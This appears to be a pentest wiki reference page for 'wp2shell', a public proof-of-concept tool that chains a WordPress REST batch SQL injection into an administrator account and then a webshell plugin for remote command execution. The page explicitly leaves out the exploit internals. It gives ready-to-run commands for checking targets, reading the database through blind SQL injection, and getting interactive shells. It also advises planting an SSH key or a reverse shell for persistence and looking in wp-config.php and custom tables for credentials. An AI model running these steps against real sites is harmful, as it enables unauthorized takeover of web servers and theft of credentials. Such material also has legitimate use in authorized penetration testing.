| title | wp2shell | |||||||
|---|---|---|---|---|---|---|---|---|
| type | tool | |||||||
| tags |
|
|||||||
| date_created | 2026-08-20 | |||||||
| date_updated | 2026-08-20 | |||||||
| sources |
|
|||||||
| phase | exploitation |
wp2shell is a standalone PoC that chains a WordPress REST batch route-confusion SQL injection
into an administrator account, then deploys a webshell plugin for command execution as the web user.
It automates the full path from an unauthenticated (or low-privilege) WordPress target to RCE.
Reference / source: https://github.com/Icex0/wp2shell-poc
Reference entry only. This page documents WHAT the tool does and HOW to invoke it, not the exploit internals (the SQLi primitive, the plugin webshell source). Read the repo for those.
- A WordPress target where the version fingerprint is old/spoofed and the REST API is reachable.
- You already hold WordPress admin creds and want a one-command webshell (it also supports an
authenticated
shellmode, not just the pre-auth bridge). - Fingerprint via [[wiki/tools/wpscan]] first; if the build is in range,
wp2shellis the quick-win RCE.
git clone https://github.com/Icex0/wp2shell-poc /home/kali/wp2shell-poc
cd /home/kali/wp2shell-poc
python3 wp2shell.py --help# confirm the vulnerability (non-destructive), single URL or a file of URLs
python3 wp2shell.py check http://target
# read from the DB via blind SQLi
python3 wp2shell.py read http://target
# RCE: with admin creds, or via the pre-auth bridge (omit --user/--password to use the bridge)
python3 wp2shell.py shell --user <admin> --password '<pass>' --cmd 'id; hostname' http://target
python3 wp2shell.py shell -i http://target # interactive shell after deploy- The
shellmode deploys a webshell plugin that self-cleans after each--cmd- each invocation is one-shot (fine for enumeration; for a persistent session, drop an SSH key or a reverse shell from within the first--cmd). - Default request
--timeout(15s) is often too short on a loaded target; pass--timeout 60. - The bridge/
shellmode creates a throwaway admin (e.g.wp2_<hex>); note it for cleanup. - WordPress
http-generatorversion can be spoofed - do not trust it; ifwp2shell checkconfirms, the build is vulnerable regardless of the advertised version.
- [[wiki/tools/wpscan]] - fingerprint users/plugins/version first.
- [[sql-injection]] - the underlying injection class.
- [[file-upload]] / webshell delivery - the RCE stage.
- WordPress post-ex: DB creds in
wp-config.php; check for non-standardwp_*tables (custom tables often hold infra/SSH creds).